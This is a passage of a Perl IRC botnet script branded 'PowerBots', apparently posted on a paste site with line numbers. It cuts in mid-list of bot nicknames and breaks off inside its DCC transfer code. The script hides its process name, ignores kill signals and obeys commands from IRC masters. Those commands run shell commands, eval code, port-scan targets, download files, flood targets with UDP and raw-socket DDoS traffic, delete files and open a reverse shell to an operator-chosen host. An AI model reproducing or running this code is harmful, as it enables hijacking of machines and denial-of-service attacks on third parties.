  92.         "|mb3lz666-Line|","|mb3lz666-Linehan|","|mb3lz666-Linzee|","|mb3lz666-Lippmann|","|mb3lz666-Lipponen|","|mb3lz666-Little|","|mb3lz666-Litvak|","|mb3lz666-Livernash|","|mb3lz666-Livi|","|mb3lz666-Livolsi|","|mb3lz666-Lizardo|","|mb3lz666-Locatelli|","|mb3lz666-Longworth|","|mb3lz666-Loss|","|mb3lz666-Loveman|",
  93.         "|mb3lz666-Lowenstein|","|mb3lz666-Loza|","|mb3lz666-Lubin|","|mb3lz666-Lucas|","|mb3lz666-Luciano|","|mb3lz666-Luczkow|","|mb3lz666-Luecke|","|mb3lz666-Lunetta|","|mb3lz666-Luoma|","|mb3lz666-Lussier|","|mb3lz666-Lutcavage|","|mb3lz666-Luzader|","|mb3lz666-Ma|","|mb3lz666-Maccormac|","|mb3lz666-Macdonald|",
  94.         "|mb3lz666-Maceachern|","|mb3lz666-Macintyre|","|mb3lz666-Mackenney|","|mb3lz666-MacMillan|","|mb3lz666-Macy|","|mb3lz666-Madigan|","|mb3lz666-Maggio|","|mb3lz666-Mahony|","|mb3lz666-Maier|","|mb3lz666-Maine-Hershey|","|mb3lz666-Maisano|","|mb3lz666-Malatesta|","|mb3lz666-Maller|",
  95.         "|mb3lz666-Malova|","|mb3lz666-Manalis|","|mb3lz666-Mandel|","|mb3lz666-Manganiello|","|mb3lz666-Mantovan|","|mb3lz666-March|","|mb3lz666-Marchbanks|","|mb3lz666-Marcus|","|mb3lz666-Margalit|","|mb3lz666-Margetts|","|mb3lz666-Marques|","|mb3lz666-Martinez|","|mb3lz666-Martochio|",
  96.         "|mb3lz666-Marton|","|mb3lz666-Marubini|","|mb3lz666-Mass|","|mb3lz666-Matalka|","|mb3lz666-Matarazzo|","|mb3lz666-Matsukata|","|mb3lz666-Mattson|","|mb3lz666-|mb3lz666-Mauzy|","|mb3lz666-May|","|mb3lz666-Mazzali|","|mb3lz666-Mazziotta|","|mb3lz666-Mcbride|","|mb3lz666-Mccaffery|","|mb3lz666-Mccall");
  97.  
  98. my @xident = ("mb3lz666","Bot","shells");
  99.  
  100. my @xname = ("Googurl (C) 2006 xeQt","www.Google.com","* Im to lame to read Bitchx.doc *","BiatchX",
  101.    "Tveita Gjengen","Bgjengen","Agjengen","locos","putas","spooon","Type-R Turbo","Civic R Turbo",
  102.    "mIRC 6.1","* Im so lame i cant ready BitchX.doc *","Bill Gates","Cannon","Mtv","nos","nozzz",
  103.    "San Francisco","New York Gangbang..","Team Norway","Team Europe","Team Germany","Team Work","jet lie");
  104.  
  105. #################
  106. # Random Ports
  107. #################
  108. my @rports = ("6667");
  109.  
  110. my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
  111.    "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
  112.    "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
  113.    "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
  114.    "\001Snak for Macintosh 4.9.8 English\001",
  115.    "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
  116.    "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
  117.    "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
  118.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
  119.    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
  120.    "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
  121.    "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
  122.    "\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
  123.    "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
  124.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
  125.    "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
  126.    "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
  127.    "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
  128.    "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
  129.    "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
  130.    "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
  131.    "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
  132.    "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1?9] : Keep it to yourself!\001",
  133.    "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
  134.    "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
  135.    "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
  136.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
  137.    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");
  138.  
  139. # Default quick scan ports
  140. my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");
  141.  
  142. # xeQt
  143.  
  144. #my $nick = "DivX-";
  145. my $nick = $nickname[rand scalar @nickname];
  146. my $realname = $xname[rand scalar @xname];
  147. my $ircname = $xident[rand scalar @xident];
  148. my $porta = $rports[rand scalar @rports];
  149. my $xproc = $fakeps[rand scalar @fakeps];
  150. my $Mrx = $Mrx[rand scalar @Mrx];
  151. my $version = 'PowerBots (C) GohacK';
  152.  
  153. $SIG{'INT'} = 'IGNORE';
  154. $SIG{'HUP'} = 'IGNORE';
  155. $SIG{'TERM'} = 'IGNORE';
  156. $SIG{'CHLD'} = 'IGNORE';
  157. $SIG{'PS'} = 'IGNORE';
  158.  
  159. use IO::Socket;
  160. use Socket;
  161. use IO::Select;
  162. chdir("$homedir");
  163. $servidor="$ARGV[0]" if $ARGV[0];
  164. $0="$xproc"."\0";
  165. my $pid=fork;
  166. exit if $pid;
  167. die "[x] -> Cannot fork into background: $!" unless defined($pid);
  168. my %irc_servers;
  169. my %DCC;
  170. my $dcc_sel = new IO::Select->new();
  171.  
  172. sub getnick {
  173.   return "$nickname[rand scalar @nickname]".int(rand(1000));
  174. }
  175.  
  176. sub getstore ($$)
  177. {
  178.   my $url = shift;
  179.   my $file = shift;
  180.  
  181.   $http_stream_out = 1;
  182.   open(GET_OUTFILE, "> $file");
  183.   %http_loop_check = ();
  184.   _get($url);
  185.   close GET_OUTFILE;
  186.   return $main::http_get_result;
  187. }
  188. sub _get
  189. {
  190.   my $url = shift;
  191.   my $proxy = "";
  192.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  193.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  194.     my $host = $1;
  195.     my $port = $2 || 80;
  196.     my $path = $3;
  197.     $path = "/" unless defined($path);
  198.     return _trivial_http_get($host, $port, $path);
  199.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  200.     my $host = $1;
  201.     my $port = $2;
  202.     my $path = $url;
  203.     return _trivial_http_get($host, $port, $path);
  204.   } else {
  205.     return undef;
  206.   }
  207. }
  208. sub _trivial_http_get
  209. {
  210.   my($host, $port, $path) = @_;
  211.   my($AGENT, $VERSION, $p);
  212.   #print "HOST=$host, PORT=$port, PATH=$path\n";
  213.  
  214.   $AGENT = "get-minimal";
  215.   $VERSION = "20000118";
  216.  
  217.   $path =~ s/ /%20/g;
  218.  
  219.   require IO::Socket;
  220.   local($^W) = 0;
  221.   my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;
  222.  
  223.   $sock->autoflush;
  224.   my $netloc = $host;
  225.   $netloc .= ":$port" if $port != 80;
  226.   my $request = "GET $path HTTP/1.0\015\012"
  227.               . "Host: $netloc\015\012"
  228.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  229.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  230.   $request .= "\015\012";
  231.   print $sock $request;
  232.   my $buf = "";
  233.   my $n;
  234.   my $b1 = "";
  235.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  236.     if ($b1 eq "") {
  237.       $b1 = $buf;
  238.       $buf =~ s/.+?\015?\012\015?\012//s;
  239.     }
  240.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  241.   }
  242.   return undef unless defined($n);
  243.   $main::http_get_result = 200;
  244.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  245.     $main::http_get_result = $1;
  246.     # print "CODE=$main::http_get_result\n$b1\n";
  247.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  248.       my $url = $1;
  249.       return undef if $http_loop_check{$url}++;
  250.       return _get($url);
  251.     }
  252.     return undef unless $main::http_get_result =~ /^2/;
  253.   }
  254.   return $buf;
  255. }
  256. $sel_cliente = IO::Select->new();
  257. sub sendraw {
  258.   if ($#_ == '1') {
  259.     my $socket = $_[0];
  260.     print $socket "$_[1]\n";
  261.   } else {
  262.       print $IRC_cur_socket "$_[0]\n";
  263.   }
  264. }
  265. sub conectar {
  266.    my $meunick = $_[0];
  267.    my $servidor_con = $_[1];
  268.    my $porta_con = $_[2];
  269.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  270.    if (defined($IRC_socket)) {
  271.      $IRC_cur_socket = $IRC_socket;
  272.      $IRC_socket->autoflush(1);
  273.      $sel_cliente->add($IRC_socket);
  274.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  275.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  276.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  277.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  278.      nick("$meunick");
  279.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  280.      sleep 2;
  281.    }
  282. }
  283. my $line_temp;
  284. while( 1 ) {
  285.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  286.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  287.    &DCC::connections;
  288.    my @ready = $sel_cliente->can_read(0.6);
  289.    next unless(@ready);
  290.    foreach $fh (@ready) {
  291.      $IRC_cur_socket = $fh;
  292.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  293.      $nread = sysread($fh, $msg, 4096);
  294.      if ($nread == 0) {
  295.         $sel_cliente->remove($fh);
  296.         $fh->close;
  297.         delete($irc_servers{$fh});
  298.      }
  299.      @lines = split (/\n/, $msg);
  300.      for(my $c=0; $c<= $#lines; $c++) {
  301.        $line = $lines[$c];
  302.        $line=$line_temp.$line if ($line_temp);
  303.        $line_temp='';
  304.        $line =~ s/\r$//;
  305.        unless ($c == $#lines) {
  306.          parse("$line");
  307.        } else {
  308.            if ($#lines == 0) {
  309.              parse("$line");
  310.            } elsif ($lines[$c] =~ /\r$/) {
  311.                parse("$line");
  312.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  313.                parse("$line");
  314.            } else {
  315.                $line_temp = $line;
  316.            }
  317.        }
  318.       }
  319.    }
  320. }
  321.  
  322. sub parse {
  323.    my $servarg = shift;
  324.    if ($servarg =~ /^PING \:(.*)/) {
  325.      sendraw("PONG :$1");
  326.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  327.        my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
  328.        if ($args =~ /^\001VERSION\001$/) {
  329.          notice("$pn", "".$Mrx."");
  330.        }
  331.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  332.          notice("$pn", "\001PONG\001");
  333.        }
  334.        elsif (grep {$_ =~ /^(\Q$pn\E|\Q$hostnam3\E)$/i } @mast3rs) {
  335.          if ($onde eq "$meunick"){
  336.            shell("$pn", "$args");
  337.         }
  338.     if ($args =~ /^!(.*)/){
  339.        ircase("$pn","$chan","$1");
  340.     }
  341.         if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
  342.             my $natrix = $1;
  343.             my $arg = $2;
  344.             if ($arg =~ /^\!(.*)/) {
  345.               ircase("$pn","$onde","$1");
  346.             } elsif ($arg =~ /^\@(.*)/) {
  347.                 $ondep = $onde;
  348.                 $ondep = $pn if $onde eq $meunick;
  349.                 bfunc("$ondep","$1");
  350.             } else {
  351.                 shell("$onde", "$arg");
  352.             }
  353.          }
  354.        }
  355.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  356.        if (lc($1) eq lc($meunick)) {
  357.          $meunick=$4;
  358.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  359.        }
  360.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  361.        $meunick = getnick();
  362.        nick("".$meunick."-");
  363.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  364.        $meunick = $2;
  365.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  366.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  367.        foreach my $canal (@admchan){
  368.          sendraw("JOIN $canal 206xss");
  369.        }
  370.    }
  371. }
  372. sub bfunc {
  373.   my $printl = $_[0];
  374.   my $funcarg = $_[1];
  375.   if (my $pid = fork) {
  376.      waitpid($pid, 0);
  377.   } else {
  378.       if (fork)
  379.        {
  380.          exit;
  381.        }
  382.    else
  383.    {
  384.       # Quick scan
  385.            if ($funcarg =~ /^ps (.*)/) {
  386.              my $hostip="$1";
  387.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
  388.              my (@aberta, %porta_banner);
  389.              foreach my $porta (@portas)  {
  390.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  391.                 if ($scansock) {
  392.                    push (@aberta, $porta);
  393.                    $scansock->close;
  394.          sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  395.                 }
  396.              }
  397.              if (@aberta) {
  398.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
  399.              } else {
  400.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
  401.              }
  402.            }
  403.       # NMAP, lol
  404.            elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
  405.       {
  406.               my $hostname="$1";
  407.               my $portstart = "$2";
  408.                my $portend = "$3";
  409.                my (@abertas, %porta_banner);
  410.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
  411.                foreach my $porta ($portstart..$portend)
  412.              {
  413.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  414.                if ($scansock) {
  415.                  push (@abertas, $porta);
  416.                  $scansock->close;
  417.                  if ($xstats)
  418.        {
  419.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
  420.                  }
  421.                }
  422.              }
  423.              if (@abertas) {
  424.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
  425.              } else {
  426.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
  427.              }
  428.             }
  429.       # Remove
  430.       elsif ($funcarg =~ /^rm/)
  431.       {
  432.          system("cd /var/tmp ; rm -rf .mrx ; rm -rf alex.txt ; rm -rf alex.txt.* vx* mrx*");
  433.       system("cd /tmp ; rm -rf .mrx ; rm -rf alex.txt ; rm -rf alex.* ; mkdir /tmp/.mrx ; cd /tmp/.mrx");
  434.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
  435.       }
  436.       # Version
  437.       elsif ($funcarg =~ /^version/)
  438.       {
  439.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
  440.       }
  441.       # Download
  442.            elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
  443.       {
  444.               getstore("$1", "$2");
  445.               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
  446.            }
  447.        # Udp
  448.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  449.               return unless $pacotes;
  450.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  451.               my $alvo=inet_aton("$1");
  452.               my $porta = "$2";
  453.               my $tempo = "$3";
  454.               my $pacote;
  455.               my $pacotese;
  456.               my $fim = time + $tempo;
  457.               my $pacota = 1;
  458.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
  459.               while (($pacota == "1") && ($pacotes == "1")) {
  460.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  461.                 $pacote=$rand x $rand x $rand;
  462.                 $porta = int(rand 65000) +1 if ($porta == "0");
  463.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  464.               }
  465.               if ($xstats)
  466.               {
  467.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
  468.              }
  469.             }
  470.  
  471.        # Backconnect
  472.             elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  473.               my $host = "$1";
  474.               my $porta = "$2";
  475.               my $proto = getprotobyname('tcp');
  476.               my $iaddr = inet_aton($host);
  477.               my $paddr = sockaddr_in($porta, $iaddr);
  478.               my $shell = "/bin/sh -i";
  479.               if ($^O eq "MSWin32") {
  480.                 $shell = "cmd.exe";
  481.               }
  482.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  483.               connect(SOCKET, $paddr) or die "connect: $!";
  484.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
  485.               open(STDIN, ">&SOCKET");
  486.               open(STDOUT, ">&SOCKET");
  487.               open(STDERR, ">&SOCKET");
  488.               system("$shell");
  489.          system("cd /tmp/.mrx");
  490.               close(STDIN);
  491.               close(STDOUT);
  492.               close(STDERR);
  493.             }
  494.            exit;
  495.        }
  496.   }
  497. }
  498.  
  499. sub ircase {
  500.   my ($kem, $printl, $case) = @_;
  501.  
  502.    if ($case =~ /^join (.*)/) {
  503.      j("$1");
  504.    }
  505.    elsif ($case =~ /^part (.*)/) {
  506.       p("$1");
  507.    }
  508.    elsif ($case =~ /^rejoin\s+(.*)/) {
  509.       my $chan = $1;
  510.       if ($chan =~ /^(\d+) (.*)/) {
  511.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  512.           p("$2");
  513.           j("$2");
  514.         }
  515.       } else {
  516.           p("$chan");
  517.           j("$chan");
  518.       }
  519.    }
  520.    elsif ($case =~ /^op/) {
  521.       op("$printl", "$kem") if $case eq "op";
  522.       my $oarg = substr($case, 3);
  523.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  524.    }
  525.    elsif ($case =~ /^deop/) {
  526.       deop("$printl", "$kem") if $case eq "deop";
  527.       my $oarg = substr($case, 5);
  528.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  529.    }
  530.    elsif ($case =~ /^voice/) {
  531.       voice("$printl", "$kem") if $case eq "voice";
  532.       $oarg = substr($case, 6);
  533.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  534.    }
  535.    elsif ($case =~ /^devoice/) {
  536.       devoice("$printl", "$kem") if $case eq "devoice";
  537.       $oarg = substr($case, 8);
  538.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  539.    }
  540.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  541.       msg("$1", "$2");
  542.    }
  543.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  544.       for (my $cf = 1; $cf <= $1; $cf++) {
  545.         msg("$2", "$3");
  546.       }
  547.    }
  548.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  549.       for (my $cf = 1; $cf <= $1; $cf++) {
  550.         ctcp("$2", "$3");
  551.       }
  552.    }
  553.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  554.       ctcp("$1", "$2");
  555.    }
  556.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  557.       invite("$1", "$2");
  558.    }
  559.    elsif ($case =~ /^nick (.*)/) {
  560.       nick("$1");
  561.    }
  562.    elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
  563.        conectar("$2", "$1", 6667);
  564.    }
  565.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  566.       DCC::SEND("$1", "$2");
  567.    }
  568.    elsif ($case =~ /^raw (.*)/) {
  569.       sendraw("$1");
  570.    }
  571.    elsif ($case =~ /^eval (.*)/) {
  572.       eval "$1";
  573.    }
  574.    elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
  575.     sleep int(rand($2));
  576.     j("$1");
  577.    }
  578.    elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
  579.     sleep int(rand($2));
  580.     p("$1");
  581.    }
  582.    elsif ($case =~ /^quit/) {
  583.      quit();
  584.    }
  585.    elsif ($case =~ /^rand/) {
  586.     my $novonick = getnick();
  587.      nick("$novonick");
  588.    }
  589.    elsif ($case =~ /^stat (.*)/) {
  590.      if ($1 eq "on") {
  591.       $xstats = 1;
  592.       msg("$printl", "Satus enabled");
  593.      } elsif ($1 eq "off") {
  594.       $xstats = 0;
  595.       msg("$printl", "Status disable");
  596.      }
  597.    }
  598.    elsif ($case =~ /^bang (.*)/) {
  599.      if ($1 eq "on") {
  600.       $pacotes = 1;
  601.       msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
  602.      } elsif ($1 eq "off") {
  603.       $pacotes = 0;
  604.       msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
  605.      }
  606.    }
  607. }
  608. sub shell {
  609.   return unless $shellaccess;
  610.   my $printl=$_[0];
  611.   my $comando=$_[1];
  612.   if ($comando =~ /cd (.*)/) {
  613.     chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
  614.     return;
  615.   }
  616.   elsif ($pid = fork) {
  617.      waitpid($pid, 0);
  618.   } else {
  619.       if (fork) {
  620.          exit;
  621.        } else {
  622.            my @resp=`$comando 2>&1 3>&1`;
  623.            my $c=0;
  624.            foreach my $linha (@resp) {
  625.              $c++;
  626.              chop $linha;
  627.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  628.              if ($c >= "$linas_max") {
  629.                $c=0;
  630.                sleep $sleep;
  631.              }
  632.            }
  633.            exit;
  634.        }
  635.   }
  636. }
  637.  
  638. sub attacker {
  639.   my $iaddr = inet_aton($_[0]);
  640.   my $msg = 'B' x $_[1];
  641.   my $ftime = $_[2];
  642.   my $cp = 0;
  643.   my (%pacotes);
  644.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  645.  
  646.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  647.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  648.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  649.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  650.   return(undef) if $cp == 4;
  651.   my $itime = time;
  652.   my ($cur_time);
  653.   while ( 1 ) {
  654.      for (my $porta = 1; $porta <= 65535; $porta++) {
  655.        $cur_time = time - $itime;
  656.        last if $cur_time >= $ftime;
  657.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  658.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  659.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  660.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  661.        for (my $pc = 3; $pc <= 255;$pc++) {
  662.          next if $pc == 6;
  663.          $cur_time = time - $itime;
  664.          last if $cur_time >= $ftime;
  665.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  666.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  667.        }
  668.      }
  669.      last if $cur_time >= $ftime;
  670.   }
  671.   return($cur_time, %pacotes);
  672. }
  673.  
  674. sub action {
  675.    return unless $#_ == 1;
  676.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  677. }
  678. sub ctcp {
  679.    return unless $#_ == 1;
  680.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  681. }
  682. sub msg {
  683.    return unless $#_ == 1;
  684.    sendraw("PRIVMSG $_[0] :$_[1]");
  685. }
  686. sub notice {
  687.    return unless $#_ == 1;
  688.    sendraw("NOTICE $_[0] :$_[1]");
  689. }
  690. sub op {
  691.    return unless $#_ == 1;
  692.    sendraw("MODE $_[0] +o $_[1]");
  693. }
  694. sub deop {
  695.    return unless $#_ == 1;
  696.    sendraw("MODE $_[0] -o $_[1]");
  697. }
  698. sub hop {
  699.     return unless $#_ == 1;
  700.    sendraw("MODE $_[0] +h $_[1]");
  701. }
  702. sub dehop {
  703.    return unless $#_ == 1;
  704.    sendraw("MODE $_[0] +h $_[1]");
  705. }
  706. sub voice {
  707.    return unless $#_ == 1;
  708.    sendraw("MODE $_[0] +v $_[1]");
  709. }
  710. sub devoice {
  711.    return unless $#_ == 1;
  712.    sendraw("MODE $_[0] -v $_[1]");
  713. }
  714. sub ban {
  715.    return unless $#_ == 1;
  716.    sendraw("MODE $_[0] +b $_[1]");
  717. }
  718. sub unban {
  719.    return unless $#_ == 1;
  720.    sendraw("MODE $_[0] -b $_[1]");
  721. }
  722. sub kick {
  723.    return unless $#_ == 1;
  724.    sendraw("KICK $_[0] $_[1] :$_[2]");
  725. }
  726. sub modo {
  727.    return unless $#_ == 0;
  728.    sendraw("MODE $_[0] $_[1]");
  729. }
  730. sub mode { modo(@_); }
  731. sub j { &join(@_); }
  732. sub join {
  733.    return unless $#_ == 0;
  734.    sendraw("JOIN $_[0]");
  735. }
  736. sub p { part(@_); }
  737. sub part {sendraw("PART $_[0]");}
  738. sub nick {
  739.   return unless $#_ == 0;
  740.   sendraw("NICK $_[0]");
  741. }
  742. sub invite {
  743.    return unless $#_ == 1;
  744.    sendraw("INVITE $_[1] $_[0]");
  745. }
  746. sub topico {
  747.    return unless $#_ == 1;
  748.    sendraw("TOPIC $_[0] $_[1]");
  749. }
  750. sub topic { topico(@_); }
  751. sub whois {
  752.   return unless $#_ == 0;
  753.   sendraw("WHOIS $_[0]");
  754. }
  755. sub who {
  756.   return unless $#_ == 0;
  757.   sendraw("WHO $_[0]");
  758. }
  759. sub names {
  760.   return unless $#_ == 0;
  761.   sendraw("NAMES $_[0]");
  762. }
  763. sub away {
  764.   sendraw("AWAY $_[0]");
  765. }
  766. sub back { away(); }
  767. sub quit {
  768.   sendraw("QUIT :$_[0]");
  769.   exit;
  770. }
  771.  
  772. package DCC;
  773. sub connections {
  774.    my @ready = $dcc_sel->can_read(1);
  775. #   return unless (@ready);
  776.    foreach my $fh (@ready) {
  777.      my $dcctipo = $DCC{$fh}{tipo};
  778.      my $arquivo = $DCC{$fh}{arquivo};
  779.      my $bytes = $DCC{$fh}{bytes};
  780.      my $cur_byte = $DCC{$fh}{curbyte};
  781.      my $nick = $DCC{$fh}{nick};
  782.      my $msg;
  783.      my $nread = sysread($fh, $msg, 10240);
  784.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  785.         $DCC{$fh}{status} = "Cancelado";
  786.         $DCC{$fh}{ftime} = time;
  787.         $dcc_sel->remove($fh);
  788.         $fh->close;
  789.         next;
  790.      }
  791.      if ($dcctipo eq "get") {
  792.         $DCC{$fh}{curbyte} += length($msg);
  793.  
  794.         my $cur_byte = $DCC{$fh}{curbyte};
  795.  
  796.         open(FILE, ">> $arquivo");
  797.         print FILE "$msg" if ($cur_byte <= $bytes);
  798.         close(FILE);
  799.  
  800.         my $packbyte = pack("N", $cur_byte);
  801.         print $fh "$packbyte";
  802.  
  803.         if ($bytes == $cur_byte) {
  804.            $dcc_sel->remove($fh);
  805.            $fh->close;
  806.            $DCC{$fh}{status} = "Recebido";
